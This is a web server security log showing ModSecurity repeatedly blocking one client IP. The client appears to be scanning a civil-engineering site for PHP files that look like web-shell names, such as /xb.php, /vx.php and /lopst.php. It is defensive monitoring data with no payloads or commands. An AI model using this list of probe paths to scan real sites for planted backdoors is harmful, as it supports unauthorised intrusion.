[Mon Mar 30 23:39:16.288949 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:59398] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs18.php"] [unique_id "acqZJAIOJ4Lc0iJVRzwFaAAAABU"]
[Mon Mar 30 23:39:16.814827 2026] [:error] [pid 60746:tid 60776] [client 72.146.16.175:60730] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs18.php"] [unique_id "acqZJJ4kQrgjDdAbQCoy2gAAAIA"]
[Mon Mar 30 23:39:17.291822 2026] [:error] [pid 60747:tid 60816] [client 72.146.16.175:58140] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/claa.php"] [unique_id "acqZJQU3IY-cCpy_-zFQkgAAAM0"]
[Mon Mar 30 23:39:17.787874 2026] [:error] [pid 60747:tid 60819] [client 72.146.16.175:60248] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/claa.php"] [unique_id "acqZJQU3IY-cCpy_-zFQkwAAANA"]
[Mon Mar 30 23:39:18.273880 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:63859] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/claa.php"] [unique_id "acqZJq4QNVlzYgEvIjnL5QAAAQ8"]
[Mon Mar 30 23:39:18.775694 2026] [:error] [pid 63557:tid 63571] [client 72.146.16.175:59507] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/claa.php"] [unique_id "acqZJq4QNVlzYgEvIjnL5gAAAQw"]
[Mon Mar 30 23:39:19.266010 2026] [:error] [pid 63557:tid 63583] [client 72.146.16.175:60252] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xb.php"] [unique_id "acqZJ64QNVlzYgEvIjnL6AAAARg"]
[Mon Mar 30 23:39:19.762644 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:58957] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xb.php"] [unique_id "acqZJ64QNVlzYgEvIjnL6gAAAQA"]
[Mon Mar 30 23:39:20.239533 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:65503] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xb.php"] [unique_id "acqZKK4QNVlzYgEvIjnL7QAAARc"]
[Mon Mar 30 23:39:20.775072 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:62312] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xb.php"] [unique_id "acqZKAIOJ4Lc0iJVRzwFdQAAAAM"]
[Mon Mar 30 23:39:21.319911 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:60269] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acqZKQU3IY-cCpy_-zFQmAAAAMw"]
[Mon Mar 30 23:39:21.804591 2026] [:error] [pid 60746:tid 60797] [client 72.146.16.175:65475] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acqZKZ4kQrgjDdAbQCoy4AAAAJU"]
[Mon Mar 30 23:39:22.289814 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:60778] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acqZKgIOJ4Lc0iJVRzwFegAAAAw"]
[Mon Mar 30 23:39:22.776603 2026] [:error] [pid 60745:tid 60768] [client 72.146.16.175:57727] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "acqZKiQDBn75QnHaPb9WeAAAAFM"]
[Mon Mar 30 23:39:23.260561 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:61521] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "acqZK64QNVlzYgEvIjnL-AAAAQM"]
[Mon Mar 30 23:39:23.783300 2026] [:error] [pid 60835:tid 60848] [client 72.146.16.175:60691] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "acqZKwIOJ4Lc0iJVRzwFfwAAAAs"]
[Mon Mar 30 23:39:24.295838 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:63823] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "acqZLK4QNVlzYgEvIjnL-QAAAQk"]
[Mon Mar 30 23:39:24.766136 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:61534] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "acqZLK4QNVlzYgEvIjnL_AAAAQU"]
[Mon Mar 30 23:39:25.273329 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:61449] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "acqZLa4QNVlzYgEvIjnL_gAAAQI"]
[Mon Mar 30 23:39:25.753526 2026] [:error] [pid 63557:tid 63566] [client 72.146.16.175:63861] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "acqZLa4QNVlzYgEvIjnMAgAAAQc"]
[Mon Mar 30 23:39:26.232737 2026] [:error] [pid 63557:tid 63583] [client 72.146.16.175:60178] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "acqZLq4QNVlzYgEvIjnMBAAAARg"]
[Mon Mar 30 23:39:26.747408 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:60768] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "acqZLq4QNVlzYgEvIjnMBQAAAQA"]
[Mon Mar 30 23:39:27.218884 2026] [:error] [pid 60746:tid 60798] [client 72.146.16.175:59006] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acqZL54kQrgjDdAbQCoy4gAAAJY"]
[Mon Mar 30 23:39:27.817048 2026] [:error] [pid 60746:tid 60781] [client 72.146.16.175:63834] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acqZL54kQrgjDdAbQCoy4wAAAIU"]
[Mon Mar 30 23:39:28.342178 2026] [:error] [pid 60835:tid 60853] [client 72.146.16.175:61529] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acqZMAIOJ4Lc0iJVRzwFjwAAABA"]
[Mon Mar 30 23:39:28.849599 2026] [:error] [pid 60835:tid 60838] [client 72.146.16.175:60712] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acqZMAIOJ4Lc0iJVRzwFkQAAAAE"]
[Mon Mar 30 23:39:29.325039 2026] [:error] [pid 60746:tid 60796] [client 72.146.16.175:65482] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "acqZMZ4kQrgjDdAbQCoy5AAAAJQ"]
[Mon Mar 30 23:39:29.852772 2026] [:error] [pid 60747:tid 60820] [client 72.146.16.175:60798] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "acqZMQU3IY-cCpy_-zFQoQAAANE"]
[Mon Mar 30 23:39:30.379572 2026] [:error] [pid 60745:tid 60770] [client 72.146.16.175:65442] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "acqZMiQDBn75QnHaPb9WfwAAAFU"]
[Mon Mar 30 23:39:30.855189 2026] [:error] [pid 60746:tid 60786] [client 72.146.16.175:62278] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "acqZMp4kQrgjDdAbQCoy6QAAAIo"]
[Mon Mar 30 23:39:31.347676 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:58971] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acqZM64QNVlzYgEvIjnMCgAAAQU"]
[Mon Mar 30 23:39:31.833533 2026] [:error] [pid 60835:tid 60852] [client 72.146.16.175:61475] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acqZMwIOJ4Lc0iJVRzwFmAAAAA8"]
[Mon Mar 30 23:39:32.360846 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:63797] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acqZNAIOJ4Lc0iJVRzwFmQAAAAQ"]
[Mon Mar 30 23:39:32.910285 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:63746] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acqZNK4QNVlzYgEvIjnMEAAAARA"]
[Mon Mar 30 23:39:33.442917 2026] [:error] [pid 63557:tid 63563] [client 72.146.16.175:60693] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acqZNa4QNVlzYgEvIjnMEgAAAQQ"]
[Mon Mar 30 23:39:33.956518 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:61519] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acqZNa4QNVlzYgEvIjnMFwAAARc"]
[Mon Mar 30 23:39:34.458469 2026] [:error] [pid 60745:tid 60757] [client 72.146.16.175:60696] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acqZNiQDBn75QnHaPb9WgQAAAEg"]
[Mon Mar 30 23:39:34.988401 2026] [:error] [pid 60746:tid 60784] [client 72.146.16.175:61510] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acqZNp4kQrgjDdAbQCoy9AAAAIg"]
[Mon Mar 30 23:39:35.503681 2026] [:error] [pid 60746:tid 60799] [client 72.146.16.175:60196] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o1.php"] [unique_id "acqZN54kQrgjDdAbQCoy9QAAAJc"]
[Mon Mar 30 23:39:36.012729 2026] [:error] [pid 63557:tid 63563] [client 72.146.16.175:58190] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o1.php"] [unique_id "acqZOK4QNVlzYgEvIjnMHwAAAQQ"]
[Mon Mar 30 23:39:36.530131 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:65511] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o1.php"] [unique_id "acqZOK4QNVlzYgEvIjnMJQAAARM"]
[Mon Mar 30 23:39:37.023856 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:63812] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o1.php"] [unique_id "acqZOa4QNVlzYgEvIjnMJwAAARA"]
[Mon Mar 30 23:39:37.499743 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:60201] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acqZOa4QNVlzYgEvIjnMKQAAAQU"]
[Mon Mar 30 23:39:38.002357 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:60235] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acqZOq4QNVlzYgEvIjnMLQAAARY"]
[Mon Mar 30 23:39:38.475821 2026] [:error] [pid 60745:tid 60759] [client 72.146.16.175:57603] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acqZOiQDBn75QnHaPb9WggAAAEo"]
[Mon Mar 30 23:39:38.956689 2026] [:error] [pid 60747:tid 60822] [client 72.146.16.175:62212] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "acqZOgU3IY-cCpy_-zFQqQAAANM"]
[Mon Mar 30 23:39:39.439569 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:60753] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lopst.php"] [unique_id "acqZOwU3IY-cCpy_-zFQrAAAANg"]
[Mon Mar 30 23:39:39.950114 2026] [:error] [pid 60747:tid 60824] [client 72.146.16.175:60160] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lopst.php"] [unique_id "acqZOwU3IY-cCpy_-zFQrgAAANU"]
[Mon Mar 30 23:39:40.449549 2026] [:error] [pid 60745:tid 60752] [client 72.146.16.175:60166] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lopst.php"] [unique_id "acqZPCQDBn75QnHaPb9WhQAAAEM"]
[Mon Mar 30 23:39:40.946983 2026] [:error] [pid 60745:tid 60768] [client 72.146.16.175:59446] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lopst.php"] [unique_id "acqZPCQDBn75QnHaPb9WhwAAAFM"]
[Mon Mar 30 23:39:41.426301 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:60192] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wft.php"] [unique_id "acqZPa4QNVlzYgEvIjnMMQAAAQs"]
[Mon Mar 30 23:39:41.893159 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:65431] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wft.php"] [unique_id "acqZPa4QNVlzYgEvIjnMNQAAARc"]
[Mon Mar 30 23:39:42.367918 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:61453] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wft.php"] [unique_id "acqZPq4QNVlzYgEvIjnMOQAAAQU"]
[Mon Mar 30 23:39:42.843882 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:63842] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wft.php"] [unique_id "acqZPq4QNVlzYgEvIjnMQAAAARM"]
[Mon Mar 30 23:39:43.356104 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:62216] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acqZP64QNVlzYgEvIjnMRAAAAQI"]
[Mon Mar 30 23:39:43.825323 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:63867] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acqZPyQDBn75QnHaPb9WiQAAAEc"]
